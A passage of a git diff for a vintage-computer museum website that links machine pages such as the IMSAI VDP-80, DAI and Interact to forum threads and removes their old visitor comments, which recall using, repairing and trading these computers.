By 1979 I had it feeding a Heathkit H9 terminal and was running Northstar Basic. Writing and running Basic Code LOL. Everything is still downstairs in my basement in boxes, although I havent fired them up since 1983. - - author: Edward Kenny (Huntsville, AL USA) - date: Thursday 29th September 2011 - text: I used a couple of IMSAI 8080''s at NASA in the early 1980''s. Each had a Z80 4MHz CPU and 64KB of RAM. For storage each had a dual set of 8-inch floppy drives. Each also had a 5MB hard drive but were never used much because they were not very reliable and eventually failed. - - author: Fubeca6 - date: Saturday 21st August 2010 - text: Raindance Rob - it was indeed used in War Games (check out Fire in the Valley by Paul Freiberger and Michael Swaine) - - author: Raindance Rob (UK) - date: Saturday 31st July 2010 - text: looks like what David played by Matthew Broderick used in the film Wargames, can anyone confirm ? - - author: Thomsonicus (Poland!) - date: Wednesday 17th January 2007 - text: now that's what I call oldschool! Respect to all who have been using this piece of fine equipement - - author: ian osgood (Portland, OR) - date: Thursday 4th March 2004 - text: I learned BASIC and 8080 assembly as a wee lad on one of these. It was owned and tricked out by a housemate, Gail Marshall. He wrote his own keyboard drivers and graphics libraries (so he could do the Game of Life) as well as an implementation of LISP. He hacked an Olivetti daisy-wheel typewriter into a printer! Gail was truly a Real Programmer. We still have a box of 8" disks around somewhere... related: - /museum/mits-altair-8800 oc_id: 389 diff --git a/content/museum/imsai-pcs-80.md b/content/museum/imsai-pcs-80.md index f557c9f9..9fae2330 100644 --- a/content/museum/imsai-pcs-80.md +++ b/content/museum/imsai-pcs-80.md @@ -50,6 +50,7 @@ params: value: Floppy drives inteface, Single or dual 8'' drives in a separate housing same size as main frame unit tabs: - photos + forum_thread: 346 photos: - title: THE PCS-80 COMPONENTS subtitle: '' @@ -63,18 +64,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/imsai_pcs80_mod30_1.jpg - comments: - - author: Lawrence Shadai (United States) - date: Tuesday 31st December 2019 - text: 'IIRC: A heavily modified PCS-80 was used by Rob Barnaby to develop WordStar. Modifications (as I can best tell) included an inverse video board ("Black on White" instead of the regular "While on Black") and 5.25 Inch dual floppy disks with an external monitor. Currently located at DigiBarn, it no longer has the inverse video board. I could be mistaken, but this looks like the very same model.' - - author: j4kc (a) - date: Wednesday 6th April 2005 - text: yes, they used an IMSAI in war games but not this one, they use the 8080 - - author: Matt (Earth) - date: Tuesday 21st December 2004 - text: |- - Did they use this kind of computer in War Games ?\ - Would like to know because I saw a IMSAI floppy system. Thanks,Matt oc_id: 342 source: url: https://web.archive.org/web/20230608155226/http://www.old-computers.com/museum/computer.asp?c=342 diff --git a/content/museum/imsai-vdp-80.md b/content/museum/imsai-vdp-80.md index 0b1054ae..1d594640 100644 --- a/content/museum/imsai-vdp-80.md +++ b/content/museum/imsai-vdp-80.md @@ -58,6 +58,7 @@ params: value: between $9,995 and $12,995, depending on RAM and FDD configuration tabs: - photos + forum_thread: 347 photos: - title: THE VDP 80 AND ITS PERIPHERALS subtitle: '' @@ -67,30 +68,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/imsai_vdp80_pub_1.jpg - comments: - - author: David Rodman (Hawaii/USA) - date: Monday 29th October 2018 - text: 'My first micro was the IMSAI 8080 - programmed via red and blue switches on the front panel, storage via cassette, 4K of RAM. The VDP 80 was a major upgrade! But yeah, a bit flakey here and there. Nonetheless, it did serve pretty well as a platform for the software that continues to be the driving force of the industry. Full disclosure: I wrote FMS-80.' - - author: Christopher Shubert (USA) - date: Monday 3rd April 2017 - text: |- - I worked as a computer salesman in Atlanta from 1979-1981, and this was one of the machines we had on the shop floor. At first, I was thrilled by the level of integration of the machine - the all-in-one format, the dual disk drives, built-in terminal hardware, and the gloriously expansive 64K of RAM! There were also some advanced features in the display hardware, including special characters, multiple character size, and the promise of something that looked like bitmapped graphics. - - But, as I experimented with the machine, writing some BASIC programs, I found the hardware was unreliable, and the machine tended to freeze up. It only took one or two major program losses before I walked away disappointed. - - The IMSAI VDP-80 was long on concept, but short on execution. Another few months in development might have written a different story for the computer industry! - - author: JC Wren (USA) - date: Monday 27th June 2011 - text: |- - We used to have one of these when I worked at The Byte Shop in Atlanta, GA. The UPS man thoughtfully rolled it up the flight of stairs to our shop on the 2nd floor. The case was a type of fiber glass, and he managed to break it in a couple places. - - I spent many many hours in front of one of these machines, and I wouldn''t mind running across one somewhere. - - author: Wally Hampton (USA) - date: Tuesday 25th August 2009 - text: |- - We (H $ H Associates$ Denver, CO) used these as our main computer in developing business application software. We developed and sold several applications along with this computer based upon using CP/M, CBasic and QSort. - - While the system was a great concept and at the time nothing off-the-shelf was similar enough for us, there were some hardware issues that made it less than the stable platform we had hoped it would be. oc_id: 343 source: url: https://web.archive.org/web/20230401021936/http://www.old-computers.com/museum/computer.asp?c=343 diff --git a/content/museum/indata-dai.md b/content/museum/indata-dai.md index 6ab02fb3..421c4fb3 100644 --- a/content/museum/indata-dai.md +++ b/content/museum/indata-dai.md @@ -70,6 +70,7 @@ params: - software - links - docs + forum_thread: 464 photos: - title: INDATA DAI subtitle: '' @@ -156,135 +157,6 @@ params:  compiled/archived by Fred Jan Kraan\  type of document : PDF\  source : [Yet Another Computing Museum](http://oldcomputers.dyndns.org/public/pub/rechner/epson/~fjkraan/comp/virtlibrary.html) - comments: - - author: Kris (Belgium) - date: Thursday 28th July 2022 - text: 'Philippe, I have 640K drives but no working diskettes. Can you help me with bootable DAI DOS diskettes? You can contact me through my website: https://blue-print.be' - - author: Philippe (France) - date: Sunday 12th June 2022 - text: I''m looking for a double 640K floppy disk. Thank you Philippe - - author: Tom DAI (Australia) - date: Friday 22nd February 2019 - text: |- - You can join the "DAInamic" group on Facebook.\ - Everybody welcome. - - author: Carlo W. - date: Friday 30th December 2016 - text: I own a DAI with 48 kbyte RAM. At the time I was 16 but made a little box that, when connected between DAI and cassette recorder allows the DAI to read/write with 9600 baud instead of 300 baud. I still own that one-of-a-kind piece of electronics too. If anyone is interested please $ me mail at alinoe dot com with username carlo - - author: Peter Udbjørg (Oslo, Norway) - date: Monday 20th January 2014 - text: |- - Ahh, used to drool over the articles in the colored magazines dealing in personal computers, Personal Computer World being the king, so to speak. And the DAI was much drooled over.\ - In the end, Tiki-100 won out… :) - - author: Tom DAI (Australia) - date: Saturday 23rd February 2013 - text: |- - Dear DAI fans,\ - I uploaded to Youtube a couple of video clips done with DAI PC in 1982 and 1983. Check:\ - http://www.youtube.com/channel/UCdiYVKSpwr5HSW_FVxCHhVA/videos\ - or search Youtube for DAI computer.\ - Please contact me if you have DAI PC memorabilia. user33 /at/ hrdesignstudio /dot/ com.\ - Thanks.\ - Tom - - author: Voisin (France) - date: Monday 7th January 2013 - text: Have you always this Dai? I am interested in purchasing this type of computer. - - author: Dacres (Spain) - date: Sunday 11th November 2012 - text: I have one DAI computer RF with original box, firmware documentation, some tape and perhaps a Philips compatible player. 25 years without test the setup. - - author: Andreas Werkmeister (Germany) - date: Sunday 30th October 2011 - text: |- - I am looking for a DAI computer to buy! I will pay the send worldwide an of course for the DAI. If u have one please send me a mail andy-15@gmx.net - - Thanks - - author: Andreas Werkmeister (Germany) - date: Sunday 30th October 2011 - text: |- - I am looking for a DAI computer to buy! I will pay the send worldwide an of course for the DAI. If u have one please send me a mail andy-15@gmx.net - - Thanks - - author: Andreas Werkmeister (Germany) - date: Sunday 30th October 2011 - text: |- - I am looking for a DAI computer to buy! I will pay the send worldwide an of course for the DAI. If u have one please send me a mail andy-15@gmx.net - - Thanks - - author: Andreas Werkmeister (Germany) - date: Sunday 30th October 2011 - text: |- - I am looking for a DAI computer to buy! I will pay the send worldwide an of course for the DAI. If u have one please send me a mail andy-15@gmx.net - - Thanks - - author: Andreas Werkmeister (Germany) - date: Sunday 30th October 2011 - text: |- - I am looking for a DAI computer to buy! I will pay the send worldwide an of course for the DAI. If u have one please send me a mail andy-15@gmx.net - - Thanks - - author: Tom DAI (Australia) - date: Thursday 9th June 2011 - text: |- - I am interested in vintage computer magazines advertisements for DAI.\ - Please provide a list of issues with the name of mag, date, country.\ - So far I found wonderful review in Computing today (UK), August 1981, pages 37-40 (4 pages b/w). Also a full page colour ad on page 65. - - Another full page colour ad in Computing today (UK), July 1982 on the inside of the back cover (page 107). - - Would like to source the "Transparent view" ad from Germany. Any info? - - For scans contact me directly user33 /at/ hrdesignstudio /dot/ com.\ - Thanks.\ - Tom - - author: John hart (Ledbury, Herefordshire) - date: Monday 2nd May 2011 - text: |- - Hi Ken Davies, I have a Dai which has not seen the light of day since the BBC micro was introduced. I think it''s still in good working order (it was when last used) but you''ll have to check it and see.\ - I have no idea on price - you will have a better idea of what it''s worth and what you are prepared to pay.\ - Email me on john.hart.jh@gmail.com if you want to follow this up.\ - Thanks.\ - John - - author: Mr. Pi - date: Thursday 3rd March 2011 - text: The DAI has a 2MHz 2 phases clock. - - author: Ken Davies (West Midlands, England) - date: Monday 10th April 2006 - text: I am looking for a DAI computer to buy because my old one has broken and I have nothing to play my games on or run my programs on. Does anybody have one to sell please ? Could you email me and let me know if you have one that is working and how much you want for it. I have a MEMOTECH MTX512 which I could trade if anyone is looking for one of those. Thanks - - author: Bruno VIVIEN (France) - date: Sunday 20th February 2005 - text: 'Je viens de débuter un site consacré à cette belle machine : http://perso.wanadoo.fr/bruno.vivien/DAI/index.htm' - - author: Jos Van den berge (Haacht/Belgium) - date: Tuesday 11th January 2005 - text: |- - I gonna 'revive' my DAI again. but I need to replace the tv-modulator ... Find an old cassette-player ... tv-set ... and alot of time ...\ - For those who are interested in DAI-equipment:\ - I have:\ - \* nearly all the club magazines (DAInamic)\ - \* The assembler-listing of the ROM's (firmware)\ - \* An industrial DAI- DCE -computer system with some I/O-cards and alot of (empty) eproms\ - \* the DCE-hardware designer manual ... - - If you need some info ... just let me know .. - - Jos - - author: Bruno VIVIEN (France) - date: Wednesday 3rd November 2004 - text: |- - Je viens de réparer mon DAI après 20 années de remisage dans un placard ! - - Tout fonctionne et j'arrive encore à relire mes vielles cassettes ! - - author: Hespel Francois (France) - date: Sunday 18th January 2004 - text: |- - Now, there is an emulator for this machine.\ - The latest version of M.E.S.S. (Multi-Emulator Super System) emulates the DAI in all it's graphics modes.\ - But software still has to be dumped into MESS-readable format. So only Basic can be played with for now (a very good one for that time). - - author: Wouters Michel (Antwerp/Belgium) - date: Sunday 22nd December 2002 - text: |- - Who does have Dai Software...I have only the machine, no software at all... - - Please send me an e-mail at : wouters.michel@skynet.be software: - /software/clio - /software/dai-pacman diff --git a/content/museum/independant-business-systems-betasystem.md b/content/museum/independant-business-systems-betasystem.md index 0816238e..c838675d 100644 --- a/content/museum/independant-business-systems-betasystem.md +++ b/content/museum/independant-business-systems-betasystem.md @@ -58,6 +58,7 @@ params: value: Unknown tabs: - adverts + forum_thread: 581 adverts: - title: 36 MHZ. IN 1982? subtitle: '' diff --git a/content/museum/industria-argentina-activision-family-game.md b/content/museum/industria-argentina-activision-family-game.md index 43d22740..44eb53d1 100644 --- a/content/museum/industria-argentina-activision-family-game.md +++ b/content/museum/industria-argentina-activision-family-game.md @@ -9,6 +9,7 @@ params: company_name: INDUSTRIA ARGENTINA tabs: - photos + forum_thread: 1107 photos: - title: ACTIVISION FAMILY GAME subtitle: '' @@ -34,13 +35,6 @@ params: subtitle: '' text: Thanks to [Ricardo Saucedo](http://compuclasico.homelinux.net) for this picture. image: /media/museum/photos/activision_family-game_chips.jpg - comments: - - author: Rod (Canada) - date: Sunday 18th September 2022 - text: Wow. Had the article not stated this was an NES clone, I would have just assumed it was a bootleg Atari 2600 clone. I mean, just look at the shape of it. Not to mention the Activision logo right there on the front of it. - - author: Drake - date: Sunday 29th August 2010 - text: I found this Nes clone (more precisly, famicom clone) a few weeks ago. Most of the argentinian clones of famicom are very good (specially the Electrolab family game). Its true that you can still find some clones here but they are of really bad quality but they dont cost 50$ dollars like it says here (only the old clones like this one cost that much) the cost aroun 20$ or less. oc_id: 1137 source: url: https://web.archive.org/web/20221205111546/http://www.old-computers.com/museum/computer.asp?c=1137 diff --git a/content/museum/ingersoll-xk-410c.md b/content/museum/ingersoll-xk-410c.md index 450a0456..7ec3b531 100644 --- a/content/museum/ingersoll-xk-410c.md +++ b/content/museum/ingersoll-xk-410c.md @@ -52,6 +52,7 @@ params: - photos - software - links + forum_thread: 1135 photos: - title: INGERSOLL XK 410C subtitle: '' @@ -82,36 +83,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: rod (Canada) - date: Thursday 30th December 2021 - text: Strange to see a pong console that featured joysticks as the controllers instead of the usual paddles. I wonder how it plays.... - - author: Steve Allen (Uk) - date: Friday 3rd January 2014 - text: Have just found my old Ingersoll XK410C. It''s still in the original box with instructions, warranty card etc. Also have the Ingersoll transformer with it, all in the carrier bag it came home in! We used to play quite regularly and, as it was all new tech at the time, was loads of fun. The beeping could be a bit tiresome, but hey, that''s what they did then! Didn''t realise just what the future would bring........... - - author: row (hong kong) - date: Thursday 3rd March 2011 - text: My dad bought one of these- my sister and I used to play on it when i was, like 6.. It took a load of AA batteries, which cost a fortune in the 80s so it was rarely played, that and one of us left the batteries in once and the springs corroded away- I fixed it using pieces of tin foil, lol!..it was great fun cant believe people are still using them! - - author: Hugh (Oxford) - date: Friday 22nd October 2010 - text: |- - My Housemate has just bought one of these for £10 but we can''t get it working.\ - It has the gun and all the cables including the power adapter, but there''s no indicator light to indicate that it''s on.\ - The manual says you need to set your television to channel 37, which the telly, being modern, doesn''t have.\ - I''ve tried tuning it manually but it won''t pick up a signal.\ - Any advice? - - author: George - date: Saturday 8th May 2010 - text: I have an ingersoll console but there is no model number. It is simular to the displayed console but has round paddles and not joystick. It has only black and white games like Tennis Squash and Hockey / Football. Does anyone have any information on this? Maybe early 70''s - - author: IanE (UK) - date: Wednesday 10th March 2010 - text: I had one of these. I''m not aware of a gun being available - as Daddsy said you use the joystick and fire button. You had to anticipate a bit and it wasn''t very accurate. Gridball was impossible - a series of brokken vertical lines bouncing up and down and you had to get the ball past these as well as your opponent. My 12 year old son can''t believe how ancient and basic these things are - but it certainly kept us busy! - - author: Daddsy - date: Wednesday 10th March 2010 - text: I had one of these machines and can confirm it did not come with a gun as standard - the shooting games were played with the standard controllers - the stick moved a ''cursor'' block on teh screen and another block moved accross the screen from left to right to represent the target. The fire button was the trigger. I seem to remember the target moved quite fast which made it more difficult than it looked! - - author: Amanda (UK) - date: Thursday 12th November 2009 - text: we have one of these and it still works. My 12 yr old has started to play it. Found it harder than it looks. The games vary in colour background, all very bright. Tennis is a line for your bat that you can have big or small, court is defined by a line down the middle. Football is again line down the middle with a line for player and goalkeeper but both lines move up and down, forward and back together. Theres grid ball which is lots of lines with gaps in that go up and down and you have to get your ball through the gaps, but if you move to fast it goes blurry and you can''t go through any gaps. To play on your own you have to do practice squash or target practice. Theres no playing against the computer. After about 10 mins the noise gets on your nerves and the bright colours give you a headache. related: - /museum/binatone-colour-tv-game-mk-10-model-n-01-4842 - /museum/mbo-tele-ball-ix diff --git a/content/museum/intel-germany-super-tele-sport-d-688-36.md b/content/museum/intel-germany-super-tele-sport-d-688-36.md index 1ca814ca..9821f974 100644 --- a/content/museum/intel-germany-super-tele-sport-d-688-36.md +++ b/content/museum/intel-germany-super-tele-sport-d-688-36.md @@ -53,6 +53,7 @@ params: - software - emulators - links + forum_thread: 1036 photos: - title: SUPER TELE-SPORT subtitle: '' @@ -104,38 +105,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: HardwareHarry (Germany) - date: Wednesday 1st July 2020 - text: |- - The Company was called\ - INTerELektronik GmbH (short INTEL).\ - The company form GmbH similar to the LLC\ - As much as I found out it has nothing to do with the well known Intel - - To my knowledge he first system was the INTEL TV Sports 1004 which is equal to Univox 41N and Grandstand T.V. Game 2000. - - The sold a lot of similar consoles in 1977 like Intel TV Sport 1006 (bascially a 1004 with Light Gun and two additional Games Pistol and Rifle), Intel TV Sport 2004, Intel TV Sport 3006, Intel TV Sport 4010, Intel TV Sport 5010 and so on.\ - You can find a good compilations of consoles from that company here:\ - https://retroconsoles.fandom.com/wiki/INTEL\_(INTerELektronik_GmbH) - - A picture of of the TV Sport 1004 packaging can be found here\ - http://20thcenturyvideogames.com/Pongs/Intel/cajas/IntelTV-Sport1004.jpg (The picture is read but is says "Farbe:Schwarz" $ Colour: black$) - - author: Chriss (Germany) - date: Monday 11th June 2012 - text: |- - bought a pocket calculator yesterday - it''s made by the same german "INTEL" company. - - on the back it has a sticker that says "INTerELektronik GmbH" - - author: Webmaster (France) - date: Saturday 28th February 2009 - text: Yes, that would be nice! Thanks. - - author: Simone (Italy) - date: Saturday 17th January 2009 - text: |- - I have the gun for the Super tele Sport , if u wanna a photo i can make at it... - - Goodbye related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/intel-ipds.md b/content/museum/intel-ipds.md index 07c9409b..579a73b1 100644 --- a/content/museum/intel-ipds.md +++ b/content/museum/intel-ipds.md @@ -71,6 +71,7 @@ params: - hardware - links - docs + forum_thread: 797 photos: - title: READY FOR CARRYING subtitle: '' @@ -220,28 +221,6 @@ params:  type of document : PDF **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Mustafa A. Katie (United Arab Emirates) - date: Thursday 29th August 2013 - text: |- - Video about Intel iPDS-100:\ - http://www.intel-vintage.info/apps/videos/channels/show/2818540-intel-software- - - author: Jim Garver (USA) - date: Monday 6th December 2010 - text: I have a collection of several PDS systems and most of the accessories that go with them. Also have a lot of software and some docs. - - author: Mustafa - date: Saturday 25th October 2008 - text: |- - There is web has information about the intel iPDS-100 :\ - http://matthieu.benoit.free.fr/intel/iPDS/ - - author: Dave Mabry (Detroit, Michigan, USA) - date: Friday 24th December 2004 - text: |- - Hello. I have a lot of information and software for the Intel iPDS. If anyone wants to discuss/trade information, I'm happy to oblidge. I would be willing to buy and trade hardware specifically for that computer as well.\ - Thanks. - - author: Massimo (Italy) - date: Tuesday 11th February 2003 - text: Hi, I have an Intel iPDS, with only a boot disk, but without infos. Someone have these infos? I may also give copies of the system disk that I have (if I discover how to copy it.......) oc_id: 816 source: url: https://web.archive.org/web/20230415202051/http://www.old-computers.com/museum/computer.asp?c=816 diff --git a/content/museum/intel-sdk-85.md b/content/museum/intel-sdk-85.md index 17e05a38..e08731f3 100644 --- a/content/museum/intel-sdk-85.md +++ b/content/museum/intel-sdk-85.md @@ -60,6 +60,7 @@ params: - photos - adverts - docs + forum_thread: 786 photos: - title: MCS AND SDK MANUALS subtitle: '' @@ -87,19 +88,6 @@ params:  size : 9.4 MB **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Ben Powell - date: Saturday 21st January 2012 - text: I am interested in the Intel MAT 385 Give me a contact number - - author: Mustafa - date: Saturday 25th October 2008 - text: |- - I have :\ - SDK-85 Users Man Feb 1980\ - Any one need it e-mail me : mustafa1702@hotamil.com - - author: PeriSoft (Ithaca, NY) - date: Thursday 1st November 2007 - text: If you check out the ad, you can be sure that this was not a dual-core processor... :) oc_id: 805 source: url: https://web.archive.org/web/20230223072021/http://www.old-computers.com/museum/computer.asp?c=805 diff --git a/content/museum/intel-sdk-86.md b/content/museum/intel-sdk-86.md index e95fcbde..ae051808 100644 --- a/content/museum/intel-sdk-86.md +++ b/content/museum/intel-sdk-86.md @@ -49,6 +49,7 @@ params: tabs: - photos - docs + forum_thread: 561 photos: - title: DOCUMENTATION subtitle: '' @@ -78,13 +79,6 @@ params:  size : 5.6 MB **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Frank (USA) - date: Tuesday 19th July 2011 - text: If anyone has one of these for sale I would love to buy it from you. if you have one please leave a comment to Frank - - author: John Keels (Boone, NC) - date: Tuesday 17th October 2006 - text: The SDK 86 was an interesting computer. When I was at school at Forsyth Technical Community College about 15 years ago I used one of the SDK 86 boards in classes to learn 8086 Assembly Language and to write programs that would do various things. Usually they were pretty simple things like display an alphanumeric pattern on the LED display. We had an 8088 XT setup to compile code and then download it into the SDK 86 usiing the serial port. It all worked extremely well. It was an interesting computer to learn with. I would not mind having one again. oc_id: 570 source: url: https://web.archive.org/web/20221205041938/http://www.old-computers.com/museum/computer.asp?c=570 diff --git a/content/museum/intellec-series.md b/content/museum/intellec-series.md index 0879c09e..5caf8977 100644 --- a/content/museum/intellec-series.md +++ b/content/museum/intellec-series.md @@ -61,6 +61,7 @@ params: tabs: - photos - adverts + forum_thread: 737 photos: - title: 4/40 BACK SIDE subtitle: '' @@ -90,13 +91,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/intel_intellec3_manualcover_1.jpg - comments: - - author: Callum (Edinburgh / UK) - date: Wednesday 31st January 2007 - text: |- - I have one of these 8080 systems, working when last powered up (maybe 10 years now), missing EPROM programmer board, converted from 20mA to RS232, 110VAC, all manuals.\ - As I have lost my workshop (turned into nursary) I need to get rid of this and some others, free to a good home, heavy so postage maybe costly.\ - Drop me an email if u want it. oc_id: 754 source: url: https://web.archive.org/web/20230603203827/http://www.old-computers.com/museum/computer.asp?c=754 diff --git a/content/museum/interact-home-computer-system.md b/content/museum/interact-home-computer-system.md index 4dec61d8..c260eed9 100644 --- a/content/museum/interact-home-computer-system.md +++ b/content/museum/interact-home-computer-system.md @@ -68,6 +68,7 @@ params: - emulators - links - docs + forum_thread: 978 photos: - title: LARGE VIEW subtitle: '' @@ -281,116 +282,6 @@ params:  type of document : PDF\  size : 5,2 Mb\  source : www.old-computers.com - comments: - - author: Chuck Yount (United States) - date: Thursday 17th December 2020 - text: I had an Interact in the late 70s/early 80s. I wrote a side-scrolling shooter game in assembly language (actually, directly in machine language) that I sold to MicroVideo, and it was sold in their catalogs maybe a year before they stopped supporting the Interact. The game was similar to a popular arcade game (maybe Defender?) but it had a fantasy-based theme instead of a space setting. I don''t remember the name of the game, though. Anyone have an old catalog from ancient history? - - author: Bruce Koldys - date: Monday 14th May 2018 - text: |- - I have an operating Interact with many original documentations and software tapes. Always on the lookout for another functioning Interact\ - My very first computer back in the day - - author: Brenda Manix (Greenville Ohio ) - date: Tuesday 31st May 2016 - text: I have one of the original Enteract home computer systems still in original box . would like to sale it..my husband passed away..but kept it all these years.. - - author: Bill Dennis (Ann Arbor, MI) - date: Wednesday 14th November 2012 - text: I worked for Newman Computer Exchange when our company brought in-house thousands of these in pieces and hired the interact employees to assemble and repair them. We sold a lot of these and each included an assortment of cassette tapes containing various topics. Most were games to compete with the Commodore Pet. That was 1980 and into 1981. We all wanted one but could not get any deal so we rummaged through the dumpster and built our own from marginal parts.FUN! - - author: Larry Cook (USA) - date: Wednesday 20th June 2012 - text: I have one of these, gathering dust. The BASIC tape no longer loads, but I don''t feel it''s a hardware failure. If anyone has a good tape, or is willing to give mine a good home, let me know. - - author: Bill (NC / USA) - date: Friday 18th November 2011 - text: I used the Atari joysticks after the Interact joysticks wore out (on Boot Hill of all things) and instead of rewiring them, we used the Atari joysticks upside-down. - - author: Dennis Sunde (United States) - date: Tuesday 9th August 2011 - text: My story is just like many of yours. I got this when I was 15, upgraded the keyboard, and wired in the Atari 2600 controllers. Some games I wrote were published in the newsletter. Since I had the only word processor in college, I made a lot of friends. I guess you could say it changed my life, because I still work as a programmer. - - author: Cary Brandt (Usa) - date: Saturday 23rd July 2011 - text: This was my very first computer. I would have to honestly say, changed my life. An amazing little machine. I learned a lot from it. Wish I still had it on display in my home. Many memories of installing the rs-232 interphase and upgraded keyboard, adding a modem (old school phone coupler). Reconfiguring the pins on the cables. What an adventure for a 13 year old. Long live Protecto Enterprises! - Cary - - author: Bob Clark (USA) - date: Thursday 7th July 2011 - text: I got one of these from Protecto Enterprizes, with the raised black keys. I later bought the real keyboard from MicroVideo. I noticed that the plugs on the joysticks were the same as the ones on our Atari 2600 video game, but that it worked backward. I discovered that you could move around a few wires inside the Atari sticks and make them work on the Interact, which was much better than the Interact sticks. I wish I still had it. - - author: Chuck Yount (USA) - date: Monday 30th May 2011 - text: I owned an Interact in 1980 (I was 15). I actually wrote a video game similar to the Defender arcade game, and I sold it to Interact for a whopping $200 and some software. I developed a second game a year later and sent it to Interact for evaluation, but they returned it with a letter saying they were going out of business. - - author: Cliff Chism (USA) - date: Sunday 14th January 2007 - text: I bought an Interact Model R from Protecto Enterprises, I believe. It was so long ago. I added a few upgrades back then, including the Microsoft Basic and a chess program. I don't know if this memory is accurate or not... I had a problem with the tape loading on the Microsoft Basic program and called the company (at that time, an unknown). I believe I spoke with a guy named Bill. Could it have been Gates? I just don't know. I also got the RAM upgrade and installed it, myself. I had a lot of fun with my first computer. And, it seemed so much more advanced than the Altair... with it's RF modulator and all... - - author: Billy Radius (Canton, MI) - date: Friday 1st December 2006 - text: |- - The Interact was my first computer, living down the road from Ann Arbor I visited the office several times to get another tape drive and software. I just got a MINT Interact on Ebay with many tapes. I am looking for a copy of MicroVideo Basic if anyone has one. Also do you archive your tapes, if so what is the best kind of cassettee to use? - - thnks in advance - - author: Roger Blake (USA) - date: Saturday 18th November 2006 - text: |- - Like many others here, the Interact was my first home computer. I purchased mine from a "Protecto Enterprizes" ad in the back of a Popular Science magazine around 1980, and used the machine to teach myself first BASIC and then Machine Language/Assembly Language programming. - - In fact the first piece of software that I actually got paid for developing was written first on the Interact in BASIC, then ported over to an Apple II. My first experience in using online commerce was ordering stuff through Compuserve's store using my Interact and a 300-baud acoustic modem. 25+ years later I'm still working in the computer industry, so you can definitely say the Interact "changed my life!" - - My original Interact still works, and has the keyboard upgrade, 32K RAM upgrade, and serial port from Micro Video. I have quite a few tapes. They are mostly games, but also some utilities and even the Forth programming language. I did manage to lose my Level II BASIC tape somewhere along the way. - - I also have a second Interact inherited from a friend who passed away years ago, that one is a stock 16K system with chicklet keyboard. (It unfortunately does not work, just displays garbage on the screen when powered up. Probably bad RAM chips.) - - author: Rob Harrington (USA) - date: Wednesday 13rd September 2006 - text: The Interact was my first computer and introduced me to programming. I remember writing programs in BASIC and machine language. While I'm sure i would still have got into the world of high tech eventually, I have to say after 22 years of working with computers, this is where it all started for me. - - author: Bonefish Sam (USA) - date: Sunday 12th February 2006 - text: This was my first computer. I got it secondhand with a bunch of tapes, and even then (probably 1982) is seemed ancient. I still think about the horrible keyboard I had to use while I learned BASIC, and how, when you'd load a program, it would play the audio from the tape out the TV speaker. What a horrible sound. And before it would load a program it would load a 'video banner', basically a splash screen that took three times longer to load than the program itself. I remember really liking the Star Trek game, and 'Music Maestro' music composition program, and programming the weird oscillators to make crazy sounds. This machine made the really respect the prowess of the Vic-20 I got later. - - author: Chris Quinn (USA) - date: Wednesday 4th January 2006 - text: The Interact was my first store-bought personal computer. At about age 12, I used it to learn BASIC, which I used to create my own primitive versions of then-popular video games like Missile Command and Space Invaders. Interact's documentation included schematic diagrams which permitted me to design my own controllers to replace the included joysticks. I still have it boxed up in my basement somewhere (complete with the 32K RAM and keyboard upgrades). Someday I'll plug it in and see if it still runs. It would be interesting to see what's on those old cassette tapes. - - author: Ed Anuff (Berkeley) - date: Friday 12th August 2005 - text: Protecto Enterprises advertised these as the model "R" 16K RAM computer in Popular Science starting in November of 1980 and continuing through till the end of 1981 until they ran out of inventory and started selling the APF Imagination Machine. The original price was $299 which dropped to $229 by the end of 1981. My father bought me one as my first computer and we used it for about six months before moving on to an Apple II. - - author: Terence Groening (USA) - date: Tuesday 21st June 2005 - text: My family had both an Interact and an Atari 800 (both apparently coming out in 1979). I noticed under the Atari 800 that there was a display list interrupt that you could use to display 128 colors at once. It turns out the Interact had a similar trick to display all 8 colors at once. It may not have been as useful, though, as the only program I saw implementing it could only seem to show 8 fat horizontal bands of color on screen, rather than a "fancy" graphic. - - author: James Tamer (Greater Pasadena, CA, USA) - date: Tuesday 5th April 2005 - text: |- - There's a partially working emulator on my website\ - www.geocities.com/emucompboy\ - The emulator zip file has a dozen or so of the software packages that were available in a bundle deal from Micronics. I have one of these computers myself, a 16K model.\ - The computer has no real text mode; it's all graphics.\ - There's no sound chip per se. There are several registers which turn on oscillators, and can feed one oscillator output through another. The emulator does not emulate sound.\ - There's actually 16 colors, not 8. Only four colors can be on the screen at once, and there're some restrictions on that.\ - Give the emulator a try, and write me! - - author: K.C. Budd (Atlanta, GA) - date: Tuesday 29th March 2005 - text: |- - Oh wow. This was my first computer, in 1979. I was five. My dad bought it from someone at DuPont, where he worked. - - I learned basic from that ugly orange book and started programming it. We also played several games on it - our family favorite was a space invaders clone. - - We absolutely hated that chicklet keyboard, but I endured it because it was the only computer I had. - - Thanks for the memories! - - author: Jerry Reno (USA) - date: Wednesday 15th December 2004 - text: |- - You need to find one of the \*original\* Interacts; they had a even worse keyboard (flat grey chiklets, rather than the fancy raised black ones). - - Take a look at the Micronique Victor Lambda screen shots; these are almost all MicroVideo games that were localized for French: - - "Asteroides" - "Hot Rocks", the snapshot is the title sequence of the earth exploding into the radioactive asteroids for you to destroy... - - "Le Donjon Hante" - "Mazes and Monsters", an excellent 3D dungeons-and-dragons sort of game - - "Glouton" - "Packrat" - - "Bombardement" - I don't remember the English name, but the goal was to drop the bomb so it got past the white "armor" on the building - - "Les Envahisseurs" - "Alien Invaders" - - "Grenouille" - "Wing It", the English version had a butterfly, rather than a frog, presumably for copyright reasons. - - I think Concentration, Bombardement, and Hangman/Le Pendu were the original Interact games. - - author: Robert N. Schaub (USA) - date: Tuesday 13rd April 2004 - text: I purchased one of these machines in 1980 from MicroMart and used it for several years. Cost at that time was about $300. It was "upgraded" with true button keypad. Used mainly for game playing, although it could do some other things in BASIC. software: - /software/breakthrough-also-known-as-le-mur-de-briques oc_id: 1004 diff --git a/content/museum/interstellar-fighter-jn-838.md b/content/museum/interstellar-fighter-jn-838.md index d407c0bf..feebf125 100644 --- a/content/museum/interstellar-fighter-jn-838.md +++ 